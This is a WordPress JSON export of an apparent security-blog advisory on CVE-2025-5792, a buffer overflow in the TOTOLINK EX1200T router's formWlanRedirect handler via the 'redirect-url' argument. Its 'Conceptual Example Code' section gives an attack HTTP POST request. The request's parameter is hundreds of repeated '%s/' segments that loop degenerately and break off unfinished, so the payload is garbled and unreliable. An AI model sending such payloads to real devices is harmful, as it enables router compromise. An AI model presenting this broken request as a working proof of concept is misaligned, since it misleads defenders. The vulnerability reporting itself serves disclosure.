{"id":51509,"date":"2025-06-14T02:51:24","date_gmt":"2025-06-14T02:51:24","guid":{"rendered":""},"modified":"2025-06-17T23:18:45","modified_gmt":"2025-06-18T05:18:45","slug":"cve-2025-5792-critical-buffer-overflow-vulnerability-in-totolink-ex1200t","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-5792-critical-buffer-overflow-vulnerability-in-totolink-ex1200t\/","title":{"rendered":"<strong>CVE-2025-5792: Critical Buffer Overflow Vulnerability in TOTOLINK EX1200T<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>Recently, a critical vulnerability has been discovered in TOTOLINK EX1200T 4.1.2cu.5232_B20210713. This vulnerability, identified as CVE-2025-5792, is of significant concern due to its severity and the potential for remote execution. It directly affects the HTTP POST Request Handler, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-22040-race-condition-vulnerability-in-linux-kernel-resulting-in-potential-system-compromise\/\"  data-wpil-monitor-id=\"57869\">potentially compromising the system<\/a> and leaking sensitive data. As IT professionals, network administrators, and security officers, understanding the implications of this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-22882-critical-stack-based-buffer-overflow-vulnerability-in-delta-electronics-ispsoft\/\"  data-wpil-monitor-id=\"57775\">vulnerability is critical<\/a> to maintaining secure networks.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-5792<br \/>\nSeverity: Critical (CVSS: 8.8)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-45565-memory-corruption-vulnerability-leading-to-potential-system-compromise-or-data-leakage\/\"  data-wpil-monitor-id=\"58047\">Potential system compromise or data<\/a> leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-1379721867\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p><a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5600-critical-vulnerability-in-totolink-ex1200t-opens-gateway-to-remote-attacks\/\"  data-wpil-monitor-id=\"59067\">TOTOLINK EX1200T<\/a> | 4.1.2cu.5232_B20210713<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32105-buffer-overflow-vulnerability-in-sangoma-img2020-http-server-leading-to-remote-code-execution\/\"  data-wpil-monitor-id=\"58536\">vulnerability exists in the HTTP<\/a> POST Request Handler&#8217;s processing of the file \/boafrm\/formWlanRedirect. Through the manipulation of the &#8216;redirect-url&#8217; argument, an attacker can cause a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-22884-buffer-overflow-vulnerability-in-delta-electronics-ispsoft\/\"  data-wpil-monitor-id=\"57760\">buffer overflow<\/a>. This overflow condition provides the attacker with the ability to execute arbitrary code or disrupt the normal operation of the system, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-22041-linux-kernel-vulnerability-in-ksmbd-sessions-deregister-may-lead-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"57903\">potentially leading to system<\/a> compromise or data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-3687141366\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>An attacker could exploit this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5671-critical-buffer-overflow-vulnerability-in-totolink-n302r-plus-http-post-request-handler\/\"  data-wpil-monitor-id=\"59473\">vulnerability by sending a malicious HTTP POST request<\/a> to the targeted system. A conceptual example of such a request might look like this:<br \/>\n&#8220;`http<br \/>\nPOST \/boafrm\/formWlanRedirect HTTP\/1.1<br \/>\nHost: target.example.com<br \/>\nContent-Type: application\/x-www-form-urlencoded<br \/>\nredirect-url=http:\/\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%s\/%<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview Recently, a critical vulnerability has been discovered in TOTOLINK EX1200T 4.1.2cu.5232_B20210713. This vulnerability, identified as CVE-2025-5792, is of significant concern due to its severity and the potential for remote execution. It directly affects the HTTP POST Request Handler, potentially compromising the system and leaking sensitive data. As IT professionals, network administrators, and security officers, [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[86],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-51509","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-buffer-overflow"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/51509","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=51509"}],"version-history":[{"count":8,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/51509\/revisions"}],"predecessor-version":[{"id":53165,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/51509\/revisions\/53165"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=51509"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=51509"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=51509"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=51509"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=51509"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=51509"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=51509"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=51509"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=51509"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}